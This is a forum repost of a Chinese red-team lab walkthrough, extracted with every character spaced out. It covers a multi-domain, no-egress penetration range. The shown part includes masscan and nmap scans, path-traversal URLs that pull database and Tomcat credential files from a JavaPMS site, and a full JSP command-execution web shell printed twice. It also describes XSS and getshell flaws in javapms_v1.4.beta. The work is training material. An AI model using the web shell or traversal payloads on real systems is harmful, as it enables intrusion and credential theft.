搜索

[26752] 2021-07-20_【暗月项目九】多层网络不出网多域渗透上

文档创建者：s7ckTeam
浏览次数：110
最后更新：2025-01-19
2021-07-20_【暗月项目九】多层网络不出网多域渗透上 【 暗 月 项 目 九 】 多 层 网 络 不 出 网 多 域 渗 透 上 原 创   m o o n s e c   m o o n s e c   2 0 2 1 - 0 7 - 2 0 收 录 于 话 题   # 渗 透 测 试   免 杀   红 队   , 2 3 个 暗 月 实 战 项 目 九 多 层 网 络 不 出 网 多 域 渗 透 上 多 层 网 络 不 出 网 多 域 渗 透 上 m o o n s e c 1 .   项 目 简 介   3 2 .   环 境 搭 建   4 3 .   信 息 收 集   9 3 . 1 .   端 口   扫 描   9 3 . 2 .   绑 定 域 名   1 0 4 .   测 试 J A V A M P S 网 站 安 全   1 1 4 . 1 .   G o b y 扫 描 器 检 测 网 站 安 全   1 1 4 . 2 .   X r a y 扫 描 网 站 安 全   1 2 4 . 2 . 1 .   设 置 代 理   1 2 4 . 2 . 2 .   被 动 扫 描 命 令   1 2 4 . 3 .   搭 建 源 码 测 试 漏 洞   1 4 4 . 4 .   后 台 任 意 文 件 下 载   1 4 4 . 5 .   任 意 文 件 下 载   读 取 t o m c a t - u s e r . x m l   1 5 4 . 6 .   登 录 t o m c a t 上 传 w a r 文 件 g e t s h e l l   1 6 4 . 7 .   J a v a p m s 其 他 漏 洞   1 7 4 . 7 . 1 .   j a v a p m s 越 权 修 改 漏 洞   1 7 4 . 7 . 2 .   j a v a p m s _ v 1 . 4 . b e t a   X S S 漏 洞   1 8 4 . 7 . 3 .   j a v a p m s _ v 1 . 4 . b e t a   后 台 g e t s h e l l   2 0 4 . 7 . 4 .   j a v a p m s _ v 1 . 4 . b e t a   用 户 可 穷 举   2 2 4 . 7 . 5 .   j a v a p m s _ v 1 . 4 . b e t a   内 置 账 号 存 在 弱 口 令   2 4 4 . 8 .   入 口 点 环 境 分 析   2 5 4 . 9 .   主 机 发 现   2 6 4 . 9 . 1 .   能 使 用 的 出 站 协 议   2 7 4 . 1 0 .   M s f c o n s o l e 生 成 后 门 上 线   2 7 4 . 1 1 .   c o b a l t   s t r i k e 4 . 0   d n s 上 线   2 8 4 . 1 2 .   中 国 菜 刀 连 接 s h e l l   3 2 4 . 1 3 .   1 2 S E R V E R 2   信 息 收 集 整 理   4 2 4 . 1 4 .   获 取 i e 浏 览 器 密 码   4 4 4 . 1 5 .   I C M P 协 议 反 弹 s h e l l   4 4 5 .   内 网 横 向 移 动   4 5 5 . 1 .   内 网 I P C 弱 口 令 穷 举   4 5 5 . 2 .   I P C 建 立 连 接 执 行 命 令   4 5 5 . 3 .   L a d o n   w m i e x e c   执 行 命 令   4 6 5 . 4 .   获 取 防 火 墙 服 务 器 权 限   4 6 5 . 4 . 1 .   I c m p 反 弹 得 到 权 限   4 8 5 . 5 .   连 接 3 3 3 8 9 登 录 1 2 s e r v e r 4   4 9 5 . 6 .   横 行 渗 透 第 第 二 层 网 络   5 1 5 . 7 .   配 置 远 控 n j R A T   v 0 . 7 d   5 2 5 . 8 .   获 取 v p n 服 务 器 权 限   5 2 5 . 8 . 1 .   开 启 3 3 8 9 远 程 终 端   5 3 5 . 8 . 2 .   注 册 表 开 启 3 3 8 9   5 3 5 . 8 . 3 .   终 端 远 程 连 接   v p n 服 务 器 拿 下   5 3 5 . 9 .   V P N 服 务 器 信 息 收 集   5 4 5 . 9 . 1 .   开 放 服 务   D N S   5 4 5 . 9 . 2 .   P O P 3 服 务 开 启   5 4 5 . 9 . 3 .   邮 箱 密 码 获 取   5 5 5 . 9 . 4 .   M i m i k a t z 系 统 密 码 哈 希   5 5 5 . 1 0 .   查 看 邮 件 服 务   5 6 5 . 1 1 .   E w   与 S o c k s C a p 6 4 设 置 s o c k s 5 代 理 访 问 内 网   5 7 5 . 1 2 .   B u r p s u i t e 设 置 上 游 代 理 穷 举 e x c h a n g e 2 0 1 3 账 号 和 密 码   5 8 5 . 1 3 .   E x c h a n g e 信 息 收 集   5 9 5 . 1 4 .   利 用 C V E - 2 0 2 0 - 0 6 8 8 远 程 代 码 执 行 漏 洞   6 0 5 . 1 5 .   第 三 层 内 网 渗 透   6 2 5 . 1 6 .   针 对 e x c h a n g 服 务 器 信 息 收 集   6 2 5 . 1 7 .   i n c o g n i t o   窃 取 令 牌 域 管 理 权 限   6 3 5 . 1 8 .   N C 反 弹 交 互 C N D S H E L   6 4 5 . 1 9 .   M i m i k a t z   d c s y n c 导 出 域 控 用 户 所 有 h a s h   6 5 5 . 2 0 .   查 看 当 前 F S M O 主 机 角 色 信 息   6 6 5 . 2 1 .   列 出 域 内 组 织   6 7 5 . 2 2 .   列 出 所 有 域 服 务 器   6 7 5 . 2 3 .   列 出 域 内 的 所 有 计 算 机 名   6 7 5 . 2 4 .   列 出 域 内 的 所 有 用 户   6 8 5 . 2 5 .   获 取 广 州 支 部 域 控 权 限   6 8 5 . 2 6 .   渗 透 广 州 支 部 运 维 组   6 9 5 . 2 7 .   域 控 下 发 文 件 并 执 行 获 取 运 维 组 主 机 权 限   7 0 5 . 2 8 .   开 启 广 州 1 2 d c 域 控 3 3 8 9   7 1 5 . 2 9 .   L c x 转 发 3 3 8 9 隧 道 连 接   7 2 5 . 3 0 .   L c x 配 合 e w 穿 透 内 网   7 2
5 . 3 1 .   登 录 0 8 s e r v e r 1   1 0 . 1 0 . 2 . 1 4 4   7 4 5 . 3 2 .   横 向 渗 透 第 四 层 网 络   7 5 5 . 3 3 .   弱 口 令 登 录 目 标 主 机   7 6 6 .   关 注   7 8 1 项 目 简 介 项 目 简 介 项 目 九 是 一 个 多 域 控 而 且 不 出 网 的 环 境 ， 是 根 据 实 际 的 环 境 改 造 而 来 。 多 个 域 控 应 用 在 大 型 内 网 中 ， 其 中 域 控 分 有 主 域 控 ， 支 部 域 控 。 例 如 一 个 公 司 在 北 京 有 个 总 部 办 事 处 ， 广 州 有 办 事 处 ， 在 上 海 也 有 办 事 处 。 每 一 个 区 域 除 了 处 理 自 身 的 事 务 。 而 且 个 各 个 地 方 办 事 处 内 部 信 息 共 享 ， 信 息 同 步 等 。 多 个 域 控 也 类 似 ， 可 以 信 息 同 步 。 本 项 目 是 一 个 不 出 网 的 环 境 ， 不 出 网 就 是 内 网 不 能 访 问 外 部 。 只 允 许 入 站 ， 入 网 的 意 思 是 允 许 访 问 。 本 项 目 存 在 多 个 后 端 防 火 墙 ， 可 控 制 出 站 协 议 。 存 在 多 个 D M Z （ 隔 离 区 、 非 军 事 化 区 ） ， 也 存 在 多 个 V P N 点 对 点 通 信 。 本 项 目 不 出 网 所 以 向 m e t a s p l o i t   和 c o b a l t   s t r i k e 这 种 针 对 内 网 渗 透 的 工 具 都 不 能 在 当 前 环 境 使 用 ， 进 行 这 种 测 试 要 用 到 许 多 的 小 工 具 和 技 巧 ， 而 且 环 境 复 杂 测 试 起 来 要 非 常 有 耐 心 ， 非 常 考 验 渗 透 测 试 水 平 。 本 项 目 是 模 拟 红 队 对 外 网 目 标 进 行 打 点 ， 经 过 多 种 渗 透 测 试 方 法 ， 找 到 入 口 点 ， 接 着 通 过 入 口 点 对 内 部 网 络 进 行 渗 透 测 试 ， 并 且 打 穿 整 个 内 网 ， 拿 到 指 定 渗 透 域 控 ， 定 位 运 维 组 人 员 ， 拿 下 运 维 机 子 ， 登 录 指 定 目 标 ， 获 取 信 息 。 本 项 目 能 学 习 W E B 方 面 j a v a 框 架 的 网 站 渗 透 ， 黑 盒 漏 洞 挖 掘 ， 垂 直 越 权 ， 水 平 越 权 ， 文 件 任 意 下 载 ， 多 个 逻 辑 漏 洞 ， 中 间 件 t o m c a t 利 用 ， g o b y 扫 描 器 使 用 ， x r a y 被 动 扫 描 器 使 用 、 k a l i 最 版 版 本 的 使 用 ， j a v a 应 用 环 境 搭 建 。 本 项 目 能 学 习 内 网 方 面 ， 不 出 网 下 渗 透 高 度 复 杂 的 内 网 ， 域 渗 透 、 多 域 渗 透 、 e x c h a n g e 破 解 、 ， 包 括 代 理 隧 道 、 端 口 转 发 ， 多 层 网 络 横 向 渗 透 ， 跨 网 段 渗 透 ， 突 破 防 火 墙 、 渗 透 防 火 墙 、 I C M P 反 弹 s h e l l 、 D N S 后 门 ， I P C 内 网 渗 透 ， k a l i 渗 透 ， 端 口 扫 描 ， m i m i k a t z 、 n c 反 弹 s h e l l 、 密 码 记 录 ， t o k e n 令 牌 获 取 ， n j r a t 远 控 ， l a d o n 扫 描 器 、 B e h i n d e r 等 工 具 的 使 用 。 。 2 环 境 搭 建 环 境 搭 建 靶 场 示 意 图 这 图 靶 机 总 共 有 十 七 个 ， 因 为 靶 场 的 的 主 机 较 多 ， 所 以 要 求 服 务 器 的 性 能 较 高 。 把 所 有 主 机 开 启 占 用 内 存 大 概 5 5 G B ， 占 用 硬 盘 容 量 大 概 4 0 0 G 建 议 选 购 买 或 者 组 装 一 台 性 能 不 错 的 主 机 当 做 靶 场 服 务 器 ， 最 好 购 买 二 手 的 服 务 器 或 二 手 件 五 千 以 内 绝 对 搞 定 。 我 的 配 置 是 C P U   E 3 - 1 2 3 0   v 5   运 行 内 存 6 4 G B 硬 盘 2 T 本 靶 场 是 用 V M w a r e ® W o r k s t a t i o n   1 5   P r o   其 他 版 本 可 能 有 问 题 。 网 卡 设 置
v m n e t 1 9 v m n e t 1 8 v m n e t 1 7 v m n e t 1 6 v m n e t 1 5
v m n e t 1 4 设 置 后 ， 按 照 靶 场 的 顺 序 打 开 即 可 每 个 靶 场 都 有 快 照 。 出 现 什 么 错 误 恢 复 快 照 即 可 。 设 置 h o s t s 访 问 入 口 点 1 9 2 . 1 6 8 . 0 . 1 9 5   w w w . m o o n s e c 1 2 3 . c o m 3 信 息 收 集 信 息 收 集 3 . 1   端 口 端 口   扫 描 扫 描 只 开 放 8 0 ， 3 3 3 8 9 端 口 操 作 系 统 是 w i n d o w s 端 口 信 息 3 . 2   绑 定 域 名 绑 定 域 名 把 写 入 本 地 h o s t s s u d o   m a s s c a n   1 9 2 . 1 6 8 . 0 . 1 9 5   - p   1 - 6 5 5 3 5   - - r a t e = 1 0 0 0 n m a p   - A   1 9 2 . 1 6 8 . 0 . 1 9 5   - p 8 0 , 3 3 3 8 9 1 9 2 . 1 6 8 . 0 . 1 9 5   w w w . m o o n s e c 1 2 3 . c o m   w i d o w s
访 问 w w w . m o o n s e c 1 2 3 . c o m 是 j a v a m p s 程 序 的 网 站 4 测 试 测 试 J A V A M P S 网 站 安 全 网 站 安 全 4 . 1   G o b y 扫 描 器 检 测 网 站 安 全 扫 描 器 检 测 网 站 安 全 G o b y 扫 不 出 什 么 有 用 的 东 西 4 . 2   X r a y 扫 描 网 站 安 全 扫 描 网 站 安 全 X r a y 使 用 被 动 扫 描 登 录 的 时 候 也 能 自 动 检 测 包 测 试 是 否 存 在 漏 洞 4 . 2 . 1 设 置 代 理 设 置 代 理 4 . 2 . 2   被 动 扫 描 命 令 被 动 扫 描 命 令 经 常 测 试 扫 描 器 最 终 给 出 的 安 全 问 题 列 表 w i d o w s C : W i n d o w s S y s t e m 3 2 d r i v e r s e t c h o s t s L i n u x / e t c / h o s t s x r a y _ w i n d o w s _ a m d 6 4 . e x e   w e b s c a n   - - l i s t e n   1 2 7 . 0 . 0 . 1 : 7 7 7 7   - - h t m l - o u t p u t   p r o x y . h t m l
S h i r o 存 在 默 认 k e y 可 以 使 用 反 序 列 化 命 令 执 行 漏 洞 h t t p : / / w w w . m o o n s e c 1 2 3 . c o m / m a n a g e r / h t m l 是 t o m c a t 管 理 登 录 面 板 h t t p : / / w w w . m o o n s e c 1 2 3 . c o m / e x a m p l e s / s e r v l e t s / s e r v l e t / S e s s i o n E x a m p l e T o m c a t 的 默 认 模 块 可 以 控 制 s e s s i o n 的 值 需 要 结 合 其 他 漏 洞 利 用 T o m c a t 的 版 本 是 7 . 0 . 9 3 4 . 3   搭 建 源 码 测 试 漏 洞 搭 建 源 码 测 试 漏 洞 安 装 好 后 分 析 文 件 数 据 文 件 路 径 W E B - I N F c o n f i g j d b c j d b c . p r o p e r t i e s 本 地 安 装 后 发 现 会 存 在 几 个 默 认 账 号   密 码 是 1 1 1 1 1 1 h t t p : / / w w w . m o o n s e c 1 2 3 . c o m / a d m i n / l o g i n . d o 后 台 登 录 地 址 4 . 4   后 台 任 意 文 件 下 载 后 台 任 意 文 件 下 载 本 地 搭 建 后 ， 登 录 后 台 进 行 漏 洞 挖 掘 ， 经 过 一 段 时 间 的 挖 掘 发 现 几 个 漏 洞 ， 其 中 漏 洞 最 大 的 是 后 台 任 意 文 件 下 载 ， h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 3 : 8 0 8 0 / a d m i n / d a t a / o _ d o w n l o a d . d o ? f i l e n a m e = 2 0 2 0 1 2 2 7 . s q l 但 是 管 理 员 权 限 的 ， 但 是 c h e c k 虽 然 信 息 审 核 员 ， 如 果 没 有 做 权 限 验 证 ， 后 台 的 用 户 应 该 可 能 下 载 ， 经 测 试 也 是 可 以 的 。 下 载 数 据 库 文 件 h t t p : / / w w w . m o o n s e c 1 2 3 . c o m / a d m i n / d a t a / o _ d o w n l o a d . d o ? f i l e n a m e = . . / W E B - I N F / c o n f i g / j d b c / j d b c . p r o p e r t i e s
4 . 5   任 意 文 件 下 载 任 意 文 件 下 载   读 取 读 取 t o m c a t - u s e r . x m l 当 前 网 站 只 开 放 8 0 端 口 ， 读 取 数 据 库 配 置 文 件 作 用 不 是 特 别 大 ， 最 好 是 下 载 t o m c a t 的 配 置 文 件 ， 如 果 有 设 置 账 号 和 密 码 ， 那 就 可 以 顺 利 找 到 一 个 入 口 点 。 4 . 6   登 录 登 录 t o m c a t 上 传 上 传 w a r 文 件 文 件 g e t s h e l l 新 建 1 . j s p 打 包 成 z i p z i p 再 改 名 为 w a r 上 传 即 可 h t t p : / / w w w . m o o n s e c 1 2 3 . c o m / a d m i n / d a t a / o _ d o w n l o a d . d o ? f i l e n a m e = . . / . . / . . / . . / a p a c h e - t o m c a t / c o n f / t o m c a t - u s e r s . x m l < % @ p a g e   i m p o r t = " j a v a . u t i l . * , j a v a . i o . * " % > < H T M L > < B O D Y > < F O R M M E T H O D = " G E T "   N A M E = " m y f o r m "   A C T I O N = " " > < I N P U T T Y P E = " t e x t "   N A M E = " c m d " > < I N P U T T Y P E = " s u b m i t "   V A L U E = " S e n d " > < / F O R M > < p r e > < % i f ( r e q u e s t . g e t P a r a m e t e r ( " c m d " )   ! =   n u l l )   { o u t . p r i n t l n ( " C o m m a n d :   "   + r e q u e s t . g e t P a r a m e t e r ( " c m d " )   +   " < B R > " ) ; P r o c e s s   p   = R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " c m d " ) ) ; O u t p u t S t r e a m   o s   =   p . g e t O u t p u t S t r e a m ( ) ; I n p u t S t r e a m   i n   =   p . g e t I n p u t S t r e a m ( ) ; D a t a I n p u t S t r e a m   d i s   =   n e w D a t a I n p u t S t r e a m ( i n ) ; S t r i n g   d i s r   =   d i s . r e a d L i n e ( ) ; w h i l e   (   d i s r   ! =   n u l l   )   { o u t . p r i n t l n ( d i s r ) ; d i s r   =   d i s . r e a d L i n e ( ) ; } } % > < / p r e > < / B O D Y > < / H T M L >
h t t p : / / w w w . m o o n s e c 1 2 3 . c o m / 1 / 1 . j s p 4 . 7   J a v a p m s 其 他 漏 洞 其 他 漏 洞 4 . 7 . 1   j a v a p m s 越 权 修 改 漏 洞 越 权 修 改 漏 洞 漏 洞 描 述 漏 洞 描 述 注 册 普 通 会 员 登 录 系 统 修 改 个 人 资 料   使 用 i d 进 行 验 证 ， 所 以 可 以 修 改 任 何 人 的 名 字 。 包 括 管 理 员 和 普 通 用 户 。 漏 洞 验 证 漏 洞 验 证 注 册 普 通 用 户 进 入   个 人 资 料 修 改 切 换 账 号 登 录 管 理 员 的 名 字 已 经 更 改 。 4 . 7 . 2   j a v a p m s _ v 1 . 4 . b e t a   X S S 漏 洞 漏 洞 漏 洞 描 述 漏 洞 描 述 会 员 登 录 - > 会 员 管 理 中 心 - > 文 档 发 布 标 题 出 没 有 进 行 过 滤   造 成 x s s 漏 洞 漏 洞 验 证 漏 洞 验 证 会 员 登 录 - > 管 理 员 中 心 - > 文 档 发 布
提 交 成 功 后 会 造 成 x s s 切 换 管 理 账 号 登 录 访 问 文 档 中 心   访 问 网 页 也 会 造 成 x s s 4 . 7 . 3   j a v a p m s _ v 1 . 4 . b e t a   后 台 后 台 g e t s h e l l 漏 洞 描 述 漏 洞 描 述 1 . 后 台 可 以 创 建 目 录 ， 创 建 目 录 的 时 候 可 以 穿 越 到 其 他 目 录 。 2 . 创 建 文 件 的 时 候 可 以 虽 然 限 制 了 后 缀 名 ， 但 是 重 名 名 文 件 的 时 候 ， 可 以 修 改 成 任 何 后 缀 名 ， 而 且 没 有 对 路 径 进 行 过 滤 ， 也 会 造 成 目 录 穿 越 。 3 . 在 网 站 根 目 录 因 为 框 架 的 原 因 并 不 会 解 析 j s p ， 但 是 在 上 级 w e b a p p s 目 录 会 解 析 j s p 。 4 . 把 目 录 创 建 在 w e b a p p s 的 时 候 ， 并 且 将 j s p 重 名 移 动 到 目 录 即 可 g e t s h e l l 。 漏 洞 验 证 创 建 目 录 . . / . . / . . / . . / . . / m o o n s e c 新 建 文 件 填 写 代 码 < % @ p a g e   i m p o r t = " j a v a . u t i l . * , j a v a . i o . * " % > < H T M L > < B O D Y > < F O R M M E T H O D = " G E T "   N A M E = " m y f o r m "   A C T I O N = " " > < I N P U T T Y P E = " t e x t "   N A M E = " c m d " > < I N P U T T Y P E = " s u b m i t "   V A L U E = " S e n d " > < / F O R M > < p r e > < % i f ( r e q u e s t . g e t P a r a m e t e r ( " c m d " )   ! =   n u l l )   { o u t . p r i n t l n ( " C o m m a n d :   "   + r e q u e s t . g e t P a r a m e t e r ( " c m d " )   +   " < B R > " ) ; P r o c e s s   p   = R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " c m d " ) ) ; O u t p u t S t r e a m   o s   =   p . g e t O u t p u t S t r e a m ( ) ;
选 择 重 名 . . / . . / . . / . . / . . / m o o n s e c / 1 . j s p 访 问 网 址 h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 3 : 8 0 8 0 / m o o n s e c / 1 . j s p ? c m d = w h o a m i 4 . 7 . 4   j a v a p m s _ v 1 . 4 . b e t a   用 户 可 穷 举 用 户 可 穷 举 漏 洞 描 述 漏 洞 描 述 在 注 册 处 ， 如 果 填 写 账 号 会 自 动 检 测 账 号 是 否 存 在 。 并 且 没 有 进 行 有 效 过 滤 。 漏 洞 验 证 1 1 1 1 用 户 不 存 在 返 回 t r u e m o o n 存 在 返 回 f a l s e   a d m i n   存 在 返 回 f a l s e 批 量 检 测 4 . 7 . 5   j a v a p m s _ v 1 . 4 . b e t a   内 置 账 号 存 在 弱 口 令 内 置 账 号 存 在 弱 口 令 O u t p u t S t r e a m   o s   =   p . g e t O u t p u t S t r e a m ( ) ; I n p u t S t r e a m   i n   =   p . g e t I n p u t S t r e a m ( ) ; D a t a I n p u t S t r e a m   d i s   =   n e w   D a t a I n p u t S t r e a m ( i n ) ; S t r i n g   d i s r   =   d i s . r e a d L i n e ( ) ; w h i l e   (   d i s r   ! =   n u l l   )   { o u t . p r i n t l n ( d i s r ) ; d i s r   =   d i s . r e a d L i n e ( ) ; } } % > < / p r e > < / B O D Y > < / H T M L >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理